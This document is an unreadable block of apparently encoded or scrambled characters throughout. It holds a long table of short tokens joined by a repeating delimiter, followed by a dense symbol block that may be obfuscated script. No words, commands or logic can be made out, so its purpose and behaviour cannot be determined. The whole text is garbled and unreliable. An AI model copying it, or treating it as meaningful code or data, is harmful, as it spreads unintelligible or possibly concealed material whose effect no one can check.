XSX:F####1/UXSXXSXS##B##ZXSX:F####\D]4XSX1HF9%##D:9:XSX##4D9XSX##4D9XSXH:D##WF/FD##99UXSX%XSX:F####1/UXSX:F####\D]4XSX%XSX\%D##]D/]XSXW9/FFD::XSXT\9%:$ ]DD:XSX=UD:#X/9F$;MW?8\EU%4E:U'I;XSX1#X%]HUD$L%]##/H98##F%DWFXSXZDHD$/UU$]DD]XSX1#X%]HUDXSX1#X%]HUD$L%]##/H98##F%DWFXSX)DC$1%L$/UUXSX=UD:#X/9FXSX1UD##D:9:XSX1UD##4D9##F%9D9:XSX9XSXW\\XSX9##9\UXSX:F##U/:9##1D9F##9:XSX9XSX9##9\U##L::4XSXW9/FFD::XSXW9/FFD::XSX##4D9XSXH:D##W1UD/LDXSX:##1UDXSX:##:94XSX/H9%##\D\D]##1UDM:-?*QEM:'M:-?,;(*'?,	;(MM'M+XSX\D4##D\U/FDXSX	M*\\XSX*\\$9C5GFUH]D##%FD$XSX.JF/9F?MB%@/UD$ID'5JF/9F?MFD\9%$ID'5JXSX\FD##1/UXSXW9/FFD::XSXW9/FFD::XSX:F##9##]D/]XSX9LDXSX:##:94XSX9##U%/]DXSX1UD##4D9##F%9D9:XVSWX:F##9##1/UXSX%XSXFFH9##%\DXSX\\##A/UHD$/H9%##\D\D]##1UDXSX1UD##D:9:XSX1U%FKXSX1HF9%##D:9:XSX1U%FKXSX:##1UDXSX1U%FKXSX$;XSX$;XSX$;XSX1HF9%##D:9:XSXF%H9XSX%XSX:F##9##]D/]XSX:F##9##]D/]XSX[[BXSX1HF9%##D:9:XSX%\9XSXH\]/9D##%\9%XSX)##TBXSX)##VZXSX)##[NTZ)XSXFU/::##D:9:XSXLC:UXSX)##VZXSX)##[NTZ)XSX)##[#XXSXLC:U$XSX%\9XSX%FXSXW@\ %^DF9 F/FD XSXW]/9XSX1UD:8DXSX1UD##4D9##F%9D9:XSXF%H9XSXS)+XSXH\/FKXSX48]DF%]DXSX:9UDXSX:9UDXSXL]XSX:##:94XSX	M*\\M:-XSX%F##LXSX-$S##TS##OXSX$-XSX-$S##TS##)XVSWX*\\$-$W@\ %^DF9 F/FD XSX$-$-$STS3XSXF//C##/L##1/UXSXS##TS##OXSX:9\%:XSXW@\ %^DF9 F/FD XSXSTS3?M]MWM]MWM]'XSXQXSXM*MM-$S##TS##O?,/ 8[  W##-XSX'$M-MW-*MM-$S##TS##)M+$M-MM*:XSX\FD##1/UXSX%FXSXD:##F/\XSXF//C##/L##1/UXSX-$W@\ %^DF9 F/FD XSX[[BXSX1UD##4D9##F%9D9:XSX	S)+?M]MWM]MWM]'XSX:F##%F##]/9##%KXSX:F##%F##]/9##%KXSX]/9##F%H\9XSX:##:94XSXS)+XSXL]XSX19%KXSX@\ F%14W\\XSX19%KXSX:L%\##%\DXSX19%KXSX/:XSX/:XSX:/>XSXL]XSXS#X+XSX:9UDXSX:L%\##:8DXSX:L%\##D/]XSX:##:94XSX:9\%:XSX:L%\##FU%:DXSX:L%\##@9DXSX:9##\/]XSX:L%\XSX:L%\##]DUD9DXSX:L%\##%\DXSX:9##\/]XSX:##:94XSXM*\\XSX:H:9XSX	M:-?]DFU/DM:-M?W-*M'M:-.E/LD:\/FDM:,	.5M:-.':XVSWX:H:9XSX:H:9XSX*\\$XSX1HF9%##D:9:XSX:F##D:##XSX:9\%:XSX4D9##%\9%XSX1HF9%##D:9:XSXH\]/9D##%\9%XSX:##:94XSXD\U%]DXSX]%\XSX9H4##%1##@/$XSX/:D/LDXSXW\\XSX8\XSX19%KXSX9A/UXSXS##[)3Y##XSX/]AXSX/]A##9\U##L::4XSX1UD##4D9##F%9D9:XSX:##:94XSX/]AXSX/]A##LXSX-$S##[)3##OXSX-$S##[)3##)XSX$-XSX\D4##D\U/FDXSXMM-$S##[)3##O?,/ 8[  W##-XSX'$M-MW-*MM-$S##[)3##)M+$M-M:XSXS##[)3##YT[))XSX:9\%:XSX:9\%:XSX\D4##D\U/FDXSX,$M9-1M:-M?M:-]D1D]M:-M?M:-,;(S##[)3##YT[)),;(M:-M'M:-M'M:-D9HM:-.,	MM-XSX/]AXSX\D4##D\U/FDXSX/]AXSX/]AXSX/]AXSXF//C##/L##1/UXSXZRVB###XBT)XSX:F##4H/]XSX:##@9/UDXSX@\ FUH]D:XSXW4##XSXW4U##XSXW4##XSX1UDL9LDXVSWX9LDXSX9LDXSXW4##XSX@\ FUH]D:XSX9LDXSXW4A##XSX1UD##4D9##F%9D9:XSX\D4##L/9FXSX	M]MWM]MWM]IXSXW4:##XSX9LDXSX4H/]XSXD/\##:H:\DF9D]XSX9LDXSX%##:9/9H:XSXW\\XSX:##@9/UDXSXN#XV##YVO##)ZXSX\UH4:XSXN##STBB##)ZXSX4H/]XSX/:D>_##DF%]DXSX/:D>_##DF%]DXSX/:D>_##DF%]DXSX/:D>_##DF%]DXSX/:D>_##DF%]DXSX/:D/LDXSX:F##U/:9##1D9F##9:XSX4H/]XSX4H/]##9\U##L::4XSX4H/]##9\U##A/U]XSXW4L##XSXL]XSXW4A##XSX4H/]XSX:H:9##F%H9XSX:9UDXSX:9UDXSX:##:94XSX:9UDXSX]:K##1DD##:\/FDXSX:F##\/]##%11##9:XSX9LDXSX9LDXSX:9UDXSX:H:9XSX*XSX/]%L##C9D:XSXDXSX:9UDXVSWX-XSX:##:94XSX?M*MMM-, / 15+7JM-M'IXSX:##:94XSX1HF9%##D:9:XSX4D9##%\9%XSX:##:94XSX:##1UDXSX:F##%@##LXSX:F##%@##LXSX:F##%@##L/1D:9XSX:##//CXSX1UD##4D9##F%9D9:XSXL]XSX:F##%@##L/1D:9XSX:F##%@##LXSX1HF9%##D:9:XSX:F##%@##L/1D:9XSXL]XSXL%]1D]XSX1UD##4D9##F%9D9:XSX\D4##L/9FXSXUD4/FCXSX:9UDXSX:H:9XSX%@##XSX%@XSXW\\XSX1HF9%##D:9:XSX:F##%@##DFXSX:##//CXSX:H:9XSXDXSXDXSX:9/94XSX%KXSX:9/9DXSX%%9##9:XSX%%9##9:XSX4DXSX:9/9##9:XSXZRVB##B#XXSX:F##%@##DFXSX%XSX:##//CXSX\/9XSX:##:94XSX\/9XSX:##1UDXSX1UD:8DXVSWX%%9##9:XSX%KXSXHK%@XSX1/UXSX]D/]XSXHK%@XSX1UD:8DXSX1UD##4D9##F%9D9:XSX:##:94XSX?MM-, / 15+7JM-M'M:-IXSX1UD##4D9##F%9D9:XSXW\\XSXW##XSX:##1UDXSX1UDL9LDXSXL]XSXH\]/9D##%\9%XSX:F##]D1DD]##]DUXSX//C##:UFDXSXWUK4XSXWUK4XSXF%\CXSXWUK4XSX:##:94XSX\D4##L/9F##/UUXSX/:D>_##]DF%]DM?M:-(?,[ / 8 MQ5+7J'(M:-M'XSX\D4##L/9F##/UUXSX?*48]DF%]DE481U/9DE48HF%L\D::'M?M:-;??*,	;MM-?*MMW,	;MM-'-'';:XSXMXSXMM?, / 1[ =5J'XSX9KL8@4L1@+##K86_]XSX?*48]DF%]DE481U/9DE48HF%L\D::'M?M:-(??*,	(MM-?*MMW,	(MM-'-''(:XSX:9##D\U/FDXSXMMXSXM(XSX:##:94XSX48XSX:9\%:XSX:9\%:XSX\D4##L/9F##/UUXSX:9\%:XSX:##:94XSX:##:94XSXMM-$S3?M]MWM]MWM]'$M-MXSX:H:9XSX:##:94XSX-$XSX	,/ 8[  W##IXSX:H:9XSX-$XVSWX##)XSX:9UDXSX9##LXSXMM-$S##B##O,/ 8[  W##-XSX$M-MXSX:##:94XSXS##BXSX8+@>!9DH/UF]\C8XSXS##))XSXHK^C@>>:^86XSX:##:94XSXMMS##B##Y)##,/ 1 ##M*M,	M-IXSX4>:!L^UF]:H0+0^6XSXS##))XSX:##:94XSX9##LXSXMM-$S##B##O?,/ 8[  W##'$M-MXSX]]XSXMM-$S##))##O?,/ 8[  W##'$M-MXSX:F##FXSX:F##F//CXSX:##//CXSX:F##FXSX/:##DH/U:XSX  XSX1HF9%##D:9:XSXU]XSX9LDXSX1HF9%##D:9:XSX9DL:XSX9D:XSX9LDXSX9D:XSX9DL:XSXF//CXSX/K##@9D##1/UXSX9##XSXW/KXSX/K##@9D##1/UXSX9LDXSX9D:XSXF%H9XSX9DL:XSX:F##F//CXSXHCFK%/##%]C_+XSX@\##DL%9D##4D9XSXD]DF9%XSX% :9%D7$% F/FDXSX/4L/XSX1HF9%##D:9:XVSWX:##@\##D%XSX@\##DL%9D##D9DAD##D:\%:D##F%]DXSX1HF9%##D:9:XSX@\##DL%9D##D9DAD##%]CXSX1UD##4D9##F%9D9:XSX:##1UDXSX4D9##%\9%XSX9DL:XSX9:XSX1/:9F4##1:##DHD:9XSXU9D:\DD]##1:##DHD:9XSXU9D:\DD]##1:##DHD:9XSX4%D##H:D##/%9XSX4%D##H:D##/%9XSX@\##DL%9D##4D9XSX@\ U%4W\\XSX9LDXSXHAD1D]##KDD\$XSX*:F##FQXSX/@HUDF%]DXSX##QXSX1HF9%##D:9:XSX%UU/FK##$XSX9DL:XSX:9\%:XSX  S&XSX  XSX:9\%:XSX:F##FQXSX%UU/FK##U%4$XSX9DL:XSXU]EXSX9LDXSXU##U]XSX9DL:XSX:##:94XSX:9\%:XSX:F##U##L%]DXSX%KEXSX%XSX:##:94XSX:9\%:XSX##:F##1/LXSXS##B##OXSXW:]##XSXS#X+XSXS3XSXS##?*)E[)3ETS'##O?M]MWM]MWM]'XSX:@DD\XSXDH9/U8D##1%D4##:K\$XVSWX1UD##\H9##F%9D9:XSX1UD##4D9##F%9D9:XSX:9UDXSX\D4##D\U/FDXSX,$M9-MM-$S##?)E[)3ETS'##O?,/ 8[  W##'$M-MW-*MM-$S##M+##)M$M-M,$M9-M*M*:XSX:##:94XSX1UDL9LDXSX:F]XSX%\F/FD##A/U]/9DXSX:##:94XSX:##1UDM?M:-(?,	('(M:-M'XSX:##:94XSX[[BXSX]/LDXSX]]##1%D4##:K\$XSX:DAD##KDCXSXL%FKA&DC XSX[[BXSX@\ F%14W\\XSX:##1UDXSX:##1UDXSX:##@9/UDXSXD/U\/9XSX:##@9/UDXSX1UD:8DXSX1UD##4D9##F%9D9:XSX:##:94XSXN##S%D##9D49CXSX9L\\\XSX:9\%:XSXN##B#X##)ZXSX:F##9L\##1D]XSX:C:##4D9##9DL\##]XSX:C:##4D9##9DL\##]XSX9L\XSX:##]XSX:##@9/UDXSX]D1DM:-M?M:-,(;N##S[S,(;XSX1UD##4D9##F%9D9:XSXS##[)3##OXSX:9\%:XSX]D1DM:-M?M:-,(;[[B,(;,	M-M]D1DM?$(N##S[S(7$9HD$M'.MXSX]D1DM:-M?M:-,(;N##)VO,(;M:-7M:-9HDM:-M'XSX]D1DM:-M?M:-,(;N##)VO##YTO,(;M:-7M:-9HDM:-M'XSX\D4##L/9FXSX]D1DM:-M?M:-,(;N##)VO##)Y[,(;M:-7M:-1/U:DM:-M'XSX,$M9-MM-$N##S%D##9D49C$?,/ 1 '$M-MW-*MM-$] N##S%D##9D49C$M+$M-M,$M9-M*M*:XSXL\U%]DXSX,$M9-MM-$N##S%D##9D49C$?,/ 1 '$M-MW-*MM-$] N##S%D##9D49C$M+$M-M,$M9-M*M*:XSX\D4##L/9F##/UUXVSWX	,$M9-1M:-M?M:-*M:-1UD##D:9:M?M:-(M9L\M\\,[ / 8 (,	M-M?,$M9-1M:-M?M:-MI##%,	M-M'*LXSX\D4##D\U/FDXSX]D1DM:-M?M:-,(;[[B,(;,	M-MXSX?]D1DM:-M?M:-,(;[[B,(;,	M-M'XSXI+XSX:##:94XSX\D4##L/9FXSX\D4##D\U/FDXSX?]D1DM:-M?M:-,(;[[B,(;,	M-M'XSXI+XSX\D4##D\U/FDXSX?]D1DM:-M?M:-,(;[[B,(;,	M-M']D1DM?$(N##S[S(7$9HD$M'.MXSX	,$M9-]D1DM:-M?M:-,(;N##)VO?##YTOE##)Y['*,(;M:-7,	M-MLXSX\D4##L/9FXSX\D4##D\U/FDXSXI+XSX:##:94XSX@\FXSX?]D1DM:-M?M:-,(;[[B,(;,	M-M']D1DM?$(N##S[S(7$9HD$M'.$MM-$S##NS$M-MMXSXI+XSX:F@XSXFL%]XSX(?M9L\M\\,[ / 8 '(XSX:9\%:XSX]DUD9D##%\9%XSX%\9%##/LDM:-QM:-(?,	('(XSX//C##HHDXSX	##:9D##9/:D9##?D/U9E1DD]'##,/ 1 IXSXN##STBB##)ZXSXLH \UH4:XSX1HF9%##D:9:XSX4U%XSX:##]XSX--W\\XSXW:F##XSXF%D##XSX:##1UDXSXD/U\/9XSXD/U\/9XSXS3XSX\D4##L/9FXSXMM-$S3?M]MWM]MWM]'$M-MXSX1%D4##:K\$XSX/:D/LDXSX%\F/FD##A/U]/9DXSX/:D/LDXSX4U%XSX4U%XSX-1HF9%:W\\XSX:##1UDXVSWX1UD:8DXSX:9\%:XSXS##B##OXSX:9\%:XSXS##))##OXSXS##B##Y)##XSX]DUD9D##%\9%XSX%:D\\DDUHXSX%\9XSXHA^@4@_0H80K####XSX+4F+CL9D8>+XSX1HF9%##D:9:XSX^8##UU88>9C8/]@KLAXSX%XSX:F##%%9##9KXSX%%9XSXUD4/FC##9/KD%ADXSX1HF9%##D:9:XSX9:XSX:##//CXSXD4:9D##:H9]%@##1HF9%XSXUDXSXW9/FFD::XSX1HF9%##D:9:XSXH:D##W1UD/LDXSX:##:94XSXU]XSX9LXSXUDXSXW@\ %^DF9 F/FD XSX:F##\D::9##L/1D:9XSX:9/9XSX:8DXSXL9LDXSX\D4##L/9FXSXME?M]'IXSX:H:9XSX:H:9XSX:H:9XSX:##1UDXSX1UD:8DXSX:##1UDXSX1HF9%##D:9:XSXW\\XSX]W\\XSX1HF9%:W\\XSXEXSX:H:9XSXEXSXEXVSWX\D::9XSX4XSX1UD##4D9##F%9D9:XSX9UXSXW\\XSXW\\XSX/]A/FD] F/FDW\\XSXS##)XSX1UD##4D9##F%9D9:XSX\D4##D\U/FDXSX1UD##4D9##F%9D9:XSXSTS3M]MWM]MWM]XSX:H:9XSX:9\%:XSXM*MM-$S##TS##O?,/ 8[  W##'$M-MW-*MM-$S##TS##)M+$M-MM*:XSXF/FDXSXH\U%/]:--XSX4U%XSX9DLD:-XSX@\ FUH]D:XSX4U%XSX-W\\XSX@\ FUH]D:XSXW4##XSXA/UXSX1HF9%##D:9:XSX4U%XSXW4U##XSXW4:##XSXW4K##XSXW4\##XSXW49##XSXW4L##XSXW4A##XSXW4:H##XSXW4]##XSXW4##-W\\XSXW9/FFD::XSX1UD##4D9##F%9D9:XSX/H9%##\D\D]##1UDXSXM*1#X%]HUD$L%]##\\, W-MWFM:-\\##A/UHD$/H9%##\D\D]##1UD,	M-XSX,	M-MM1#X%]HUDM*XSXM*\\##A/UHD$/H9%##\D\D]##1UD,	M-XSX,	M-M*XSX:##:94XSX@\ F%14W\\XSX:##1UDXSX]/LDXSX@\ F%14W\\XSXS##NSXVSWX\D4##D\U/FDXSX,$M9-]D1DM:-M?M:-,(;N##S[S,(;M:-7M:-9HDM:-M'M:-.M:-MM-$S##NS$M-M,$M9-M*M*XSX1UDL9LDXSXH:D##W1UD/LDXSXWH:DWXSX1UD##4D9##F%9D9:XSX\D4##D\U/FDXSX/H9%##\D\D]##1UDM:-QW-XSX\D4##H%9DXSXW-MXSX//C##]11XSX:##1UDXSXS##BXSX4>:!L^UF]:H0+0^6XSXS##))XSX19%KXSX:L%\##]DUD9DXSX1HF9%##D:9:XSX4D9##%\9%XSX:F##F//CXSX:##//CXSX9DL:XSX:##//CXSX9DL:XSX:F##%F##]/9##%KXSX:F##9##]D/]XSX8U4L\]FH@@>^8!/%K+9XSX:F##4H/]XSX1HF9%##D:9:XSX@\##FUD/##:FD]HUD]##%%KXSXA6]CU9>!>D+6H4XSX:F##F%##4H/]XSXA/U]/9DXSXW\\XSX:9UDXSX]##LXSX-$S##)##OXSX-$S##)##)XSX]##LXSXMM-$S##)##O?,/ 8[  W##-XSX'$M-MW-*MM-$S##)##)M+$M-M:XSX:9\%:XSXS##)##YT[))XSX\D4##D\U/FDXSX,$M9-1M:-M?M:-]D1D]M:-M?M:-,;(S##)##YT[)),;(M:-M'M:-M'M:-D9HM:-.,	MM-XSXS##)Y##XSXL]XSX]##9\UXSX:F##U/:9##1D9F##9:XSX]##9\U##L::4XVSWX	M*\\M:-XSX:9UDXSXF//C##/L##1/UXSX@\ F%9D9XSX9DLD:XSX4D9##%\9%XSX9A##XSX9DLDXSXA/:##D:9%D]XSX:F##9##]D/]XSX[[BXSX:F##9##]D/]XSX-$S##B##OXSX$-XSX-$S##B##)XSXS##BY##XSX:H:9XSXW\\XSX9DLD##9\U##L::4XSX\D4##D\U/FDXSX1U%FKXSX9DLDXSX1HF9%##D:9:XSX1U%FKXSX9A##XSXW/KXSX9##LXSXA!0]K0LH+89F\]6XSX\D4##D\U/FDXSXMMS##B##Y)##,/ 1 ##M*M,	M-IXSX9DLDXSX\FD##1/UXSX:9\%:XSXS##B##OXSXS##B##Y)##XSX%\/XSX:##:94XSX*XSX9LXSX:9UDXSXW8\XSXW\\XSX:F##DL\9CXSX\[FADXSXH\U%/]:XSX]/9DXSXLXSXN##STBB##)ZXSX1UD##D:9:XSX1UD:8DXVSWX@\##D9##:FD]HUD]XSX[[BXSX%HUCXSX9LDXSX:F##4H/]##9DA/UXSXF%##:D9H\XSX@L991%CA6046XSX@\ FUH]D:XSX:##1UDXSX1UDL9LDXSXW4##XSX:##1UDXSX9LDXSX:##1UDXSXL]##1UDXSX:F##4H/]XSXF%##4H/]XSX[[BXSX1UD:8DXSX^@##6:!H^K^_!DXSX:##:94XSX%\9XSX:9UDXSX1HF9%##D:9:XSX/F9AD##\UH4:XSX##//CXSX/F9AD##\UH4:XSXW\\XSX\D4##L/9FXSX:H:9XSXL]XSXF%##DFXSX:9XSX:##1UDXSXBB+W+$__$%9$=%H]XSX1HF9%##D:9:XSX4D9##%\9%XSXH\]/9D##%\9%XSX%XSX9LDXSX%XSX\D4##L/9FXSX	M:-?*M?EMM-EMMEA/$EUD9$EF%:9$E1HF9%$E:DU1MW'XSX	,[ / 8 MQMMIXSX:9UDXSX:9UDXSXS%9D9 BC\D$/\\UF/9%^/A/:F\9XSXDAFD N%KD [UU%@D]$XSXBB+W+$_$%$S%9D9XSX:@##F%14XVSWXBB##=##T###X[BSXSXBB+W+$0_$%9$#X%]1D]XSXB/4$XSXDAFD N%KD [UU%@D]$XSXS/FD S%9%U$% F/FDXSXB/4$XSX:@##D\XSX:F##AD1CXSX:##:94XSX1HF9%##D:9:XSX%LD##HUXSX\/:D##HUXSX1HF9%##D:9:XSX4D9##%\9%XSX:9DHUXSXBB##TBXSX:##:94XSXM]IXSXEAD1CXSX:F##:DL/9F##\%DEXSXS%9D9 BC\D$9D9\U/XSXS/FD S%9%U$% :9%DXSXS###XXSXL]XSXS###X##=[YXSXAD1C##D\XSX1HF9%##D:9:XSX%FKD9##FUD/##]%L/XSX@09F##1UH:##/UUXSX:4##F/FD\D::##\H4D##F/FDXSXU9D:\DD]##\H4D##/UUXSXY9D\DD]##S/FD##[XSXY9D\DD]##S/FD##[XSX\H4D##/UUXSXDD8D##H4DS/FDXSXLD9%]##D:9:XSXDD8D##F/FD##1UH:XSXLD9%]##D:9:XSXFUD/##9%9/U##F/FDXSX@\1F##FUD/##/UU##F/FDXSX:##%^DF9XSX]DUD9DS/FDXSX@\##F/FD##FUD/##F/FDXSX/H9%\9L8DS/FDXSX/H9%\9L8DS/FDXSXFUD//UUXSX\H4D##%##^:##F/4DXSX:##/]LXSX@\##]%4##/^/XSXZB##ZRVBXVSWX"#XYZS##ZRVBXSX:##1DD]XSX:##%%9:XSX:##:9DL/\:XSX:##FH:9%L8D##\DAD@XSXDUDLD9% \DAD@XSXFH:9%L8D##F/4D:D9##HH]XSX1U##HU]DXSX:9##D\U/FDXSX:F\9XSXM:F\9XSX%LD##HUXSX1HF9%##D:9:XSX4D9##%\9%XSXH\]/9D##%\9%XSX:F##^:##\9##%9DXSX:F##^:##\9##%9DXSX9LDXSX:F##^:##\9D]XSX%]CXSX9LUXSX:F##^:##%XSX:##:94XSX:F##^:XSX:F##^:XSX%##:9/9XSX6FUDKDC!+/6>LKF!XSX\/4D%@XSX\/4D%@XSX@\ U%4W\\XSX:F##:@##U/:9##HUXSX:F\9$]/9/ :F XSXA/$]Q1HF9%?'5A/$Q;;7.1%?Q.WUD49.Q'Q94W1%LS/S%]D?\/:D9?W:H:9?7'7+>''.D9H$J7XSX:@Q/A4/9%,]?;XSX:DAFDN%KDXSX;'7XSXUHQXSX1?:@':@,]?;XSX4D9ZD4:9/9%:XSX;'?'W9D?1HF9%?:'5:W1%/F?1HF9%?'5A/$LQUH.XSX1?L',]?;XSX/F9ADXSX;'7]?;XSX@/94XSX:9/UU4XSX;'W1%/F?1HF9%?K'51?,K,K,]?;XSX:F\9VZYXSX;'QQQUH'LQ+J'.XSX1?L',]?;XSXHD4:9DXVSWX;'?'J'J',]?;XSXF/9FXSX;'?1HF9%?'5J'XSX:F\9XSX:9##D\U/FDXSX1HF9%##D:9:XSX\/:D##HUXSX9LXSX:F\9$]/9/ :F XSXA/$]Q1HF9%?'5A/$Q;;7.1%?Q.WUD49.Q'Q94W1%LS/S%]D?\/:D9?W:H:9?7'7+>''.D9H$J7XSX;'.XSX1?:@'5XSX:@,]?;XSX4D9ZD4:9/9%XSX;'?XSX^:%##DF%]DXSXW9D?1HF9%?'51?':@,]?;XSXD4:9DXSX75:F%\DXSXJ',]?;XSXF/9FXSX;'?1HF9%?'5J'J'XSX,]?;XSXF/9FXSX;'?1HF9%?'5J'.XSX/]]AD9Y:9DDXSX;'?]?;XSXLD::/4DXSX;'71HF9%?D'5XSXA/$AQD,]?;XSX]/9/XSX;'.XSX1?AAWF'59C5D@$=HF9%?/9%?AWF''?'JF/9F?'5JJJ'.XSXD/]CXSX;'W9D?1HF9%?'5XSX,]?;XSX;',]?;XSX\%:9#XD::/4DXSX;'?59;;J'J'JXSX:@##D4XSX1UDL9LDXSX1UD##4D9##F%9D9:XSXN##STBB##)ZXSX4U%XSX4U%XSX:##//CXSX:##//CXSX:H:9XSX:##//CXSX:##]XVSWX:H:9XSXW\\XSX1UDL9LDXSX1UD:8DXSX:9\%:XSX\D4##L/9FXSX%\F/FD##A/U]/9DXSX:@DD\XSX/:D/LDXSXW%11XSX/:D/LDXSXW\\XSXW:]##XSX]/LDXSXLH \UH4:XSX4D9##%\9%XSX]/LDXSX/:D/LDXSX1HF9%##D:9:XSX/F9AD##:9D@]D##\UH4:XSX]/LDXSXW/]##XSXD\U%]DXSXF%H9XSXHUKXSX1HF9%##D:9:XSX1UD##\H9##F%9D9:XSX1UD:8DXSX\/9XSXD/U\/9XSX1HF9%##D:9:XSXW\\XSX:H:9XSXL]XSX:F##%%9##ADXSX:F##%%9##ADXSXQXSX:F##%%9##9KXSXS##STZ##TTBBZ[)XSX:F##%%9##9KXSXS##STZ##TTB##3ZXSX:9/94XSXH##F/%D%A6ACK_:%9XSXK6:40H6HCUFCXSX[B=T##"BTXSX4>+9:4K##9>KH@@:1XSXD4:9D##:H9]%@##1HF9%XSXD4:9D##:H9]%@##1HF9%XSX/9_9@H18]:%XSX/A]9KU%L4F:##U41XVSWX/:D/LDXSX9LXSX1UD##4D9##F%9D9:XSX]/LDXSXW9##XSXW\\XSXW%F1##XSXHUKXSX1+H8+^L+XSX^41##^##\%HXSXU%/] \UH4:W\\XSX/]L##9XSX9CL_D40AFLLU%A%!_XSX\LAC9K!C/_UHXSX^>!C_U!1%XSX11\A^%:00K1XSX@\1L##DU1]D##F%DF9%##%\9:XSX1CF:\@##:9!:]^9LH##XSX@\##1UD##L//4D##F%DF9%##%\9:XSXDU1]D##F%DF9%##%\9:XSX1CF:\@##:9!:]^9LH##XSX1UD##L//4D##F%DF9%##%\9:XSX/H9D9F/9DXSX1H:\0++:FUKC!C4LXSX@\##U%4XSX@/A^K/+8>_4:XSX\D##H:D##HDCXSX^F##/A1UC_>01AXSXD:9##H:D##HDCXSXFU0L941^U##66]_K@XSXAD@:##H:D:XSX^0F\\4A>D+KK\8XSX]DH4##1%L/9%XSX@FL6/4^4!!44+XSX:%@##/]A/FD]##\UH4:XSX/@9%_0D8:4XSX/]L##D/] \UH4:W\\XSX##1F##L!_>_!D1\UD+4F%LXSX:9D##9/:D9##H\]/9D##\UH4:XSX/+:_F@!@%6F@%KF##XSX/UU##\UH4:XSX@\##/^/##LK##1UD##1%U]D##L//4DXSX+:D]>C]FHXSX@\##/^/##F%DF9%XSX+:D]>C]FHXSX@\##/^/##1:##F%DF9%XSX+:D]>C]FHXSX@\##1%%9DXSX::\>^4K_]>LFXSX9DL\U/9D##D]DF9XVSWX:K6>U_1]L@_0>UXSX/]L##1%%9DXSXD00^U::FHH9LK\XSXU%4##1%%9DXSXD00^U::FHH9LK\XSXK8C^9]/:CFXSX^DFAF81C>+A0XSXC0]@KL9@@%4]H9_69XSX/]^/^##_^FC##4AD9XSX9/^LC@F@8]%:XSX]+##@@@F^^CHL:+XSX9CL_D40AFLLU%A%!_XSX\F48F\1FK+6:^]XSX\UH4:##U%/]D]XSX8U4L\]FH@@>^8!/%K+9XSXU>:U\H:6%1+XSXU!^^/UL@4U_++XSXU!/@L\+@@XSXUK1AF4FFF:_XSX4D9##%\9%XSX1HF9%##D:9:XSX^C1KC8]^4D\XSX^##0\:K+H9K0@4!XSX:]H44L\D>%:XSX1HF9%##D:9:XSXH\]/9D##%\9%XSX:F##U/:9##DF%ADC##FDFKXSX:F##U/:9##DF%ADC##FDFKXSX9LDXSXHL@U@@\XSXF%##:FD]HUD:XSX^/91%98^>!D:XSX\UH4:##U%/]D]XVVD
_[$["D
_IFMW[V[BJ
IW[VD[BX>=,XQX/+7XQX XQX	XQXKQLMXQX
XQXXQX(3XQX*861XQX;-XQX2PRXQXXQX<0XQX:XQX##BXQXUXQX_)EXQXWTXQXV9XQX.4XQX#XSXQXOXQXC@XQXAFHJXQXNGI'XQX&%DXQX]$XQX"Y^XQX![\XQX5ZXQX?XD[BX[XQXB:XQXF##XQXAD%XQX_W0XQX\UXQXH4XQXXQX/LNXQXYVOXQX)ZXQX#X KXQX]9XQXCSTXQX@XQXMQXQX1-XQX$3XQX?XQX'=RXQX&(XQX7XQX*8XQX!XQX+6>"XQXXQX^.5XQX;,XQXJXQXE	I
XQX2P<GXD[B]]DW[BOD[CW[VD[TTV[BW[S[$["VD[QBW[BBBV@[$["E[$["D
_[D
_GKFW[V
_IFMW[VD
_ L	W[V
_IFMW[VD
_LW[V[B[TOD
_IFMW[VDuu
_KNJFHLW[GGG V[GGG BWW[GGG V@[GGG EOVTOD
_[GGG UGDu
_H	JJMMW[
V[
BWW[
V@[
EOVTOD
_[
UKDuu_uuu____W L	WOVV_____Duu___
__GIILHWVu_____u__
______W[830=>3,$GKFWNV"V_@_[830=>3,$LWNV"__E___ L	WMVDu____u__
_____NIFFOOL	OWVu________u
____  963:  Duu____u__
_GJL
GJ
FWVu_u___
_IFMWLVWNIFFOOL	OWVVDu__u_
______OJIHFOFIOWVuu__WIFMWKVWIFMWJVVV___
_
 WNIFFOOL	OWVVDuu[MNH______B_NIFFOOL	OWVDu_uu___[GONN
J____B__WIFMWIVV_____@______(/ /3*861 ;6-_E____]]Du____W[GONN
J__^BB__]]_____YY_____GKFWHVW[MNHS____[GONN
JV__BBB___OV____
_ L	WGVW L	WFVW[MNHS____LWNOVW[GONN
JVVS__XPXVDu
___GKFWLVW L	WNNVW[MNHVV____Q__XPX_____Q__GKFWNMVW[MNHVDu__u__
_____
 F	G	KOOWVu_uPP_
__uuuu
__IFMWNLVWWLWNKVV___@_(/2* /3*861 ;6-___E_W(/ <01+:1+ ;6-_Q_LWNJVVS___XPXVDuuuu____u
_FH	
JWVu_u__
__IFMWNNVWNIFFOOL	OWVVDu___u_
___ NKKW[NKOILS___[	HNJFIFH_B_WNIMTLLNVS_[MNKF
JHI_B____Vuu____
__IFMWKVWIFMWNIVV_@_____?IFMWNIVW[NKOILS__[	HNJFIFHS___[MNKF
JHIV___E__Du_u__
_L 
	W[LLMHNS__[	HNJFIFHVuuuuuu___
__GKFWNHVW L	WNGVV__@____?GKFWNGVW[LLMHNS___[	HNJFIFHV__E____Du___u__
___O
	LW[LLMHNVu__uPP__R

__(/_8
_=u[O 	HMB/7/ 61+ 2>'P/7/ 61+ 2>'D[ 

B[O 	HMTJLDu
___LWNHVWLWNFVV____@__?GKFWNFVW[LLMHNV__E_Duuuu_____u___
_____OOKHH
 LGW[LLMHNS_[MVuuu______uu__
___LWMOVWLWMNVV_@_? L	WMNVW[LLMHNS__[MV______E_____Du___u_
__FKKKNLW[LLMHNVuuu_uuuu___[  OK
_B__N
KI
WVDu_
__OOKHH
 LGW[LLMHNS_____W[  OK
__R_W[  OK
_Z_____WFFFJMTKGVVV_T__KIIKM	WVVDuu_
__H	JO
 MW[IOKG
HGS___[	NVu_______[JFMBFUGD[LFI GB[JFMRNMDu______
____LWMMVWGKFWMLVV_@_?LWMLVW[IOKG
HGS_[	NV__E_D[NKIBKNUFD[OB[NKIRNGDu_u____
_
HIOW[IOKG
HGS___[	NVu___u
____ L	WMMVWLWMKVV_____@_?LWMKVW[IOKG
HGS__[	NV_E____Du___u_____
_____ IIL
K NIOIW[NKOILS__[LLMHNVuu
_GKFWMJVWIFMWMIVV__@___?GKFWMIVW[NKOILS_[LLMHNV_E__Duuu_u_
__	 NWVuu____u__[	
HMF	_B__
Du____W[	
HMF	_^BB_
V___
_____[	
HMF	Du____[	
HMF	_B__LWMJVW L	WMHVV_@__GKFWMGVWV___E____LWMFVD[LG 
IBFJUID[	JKB[LG 
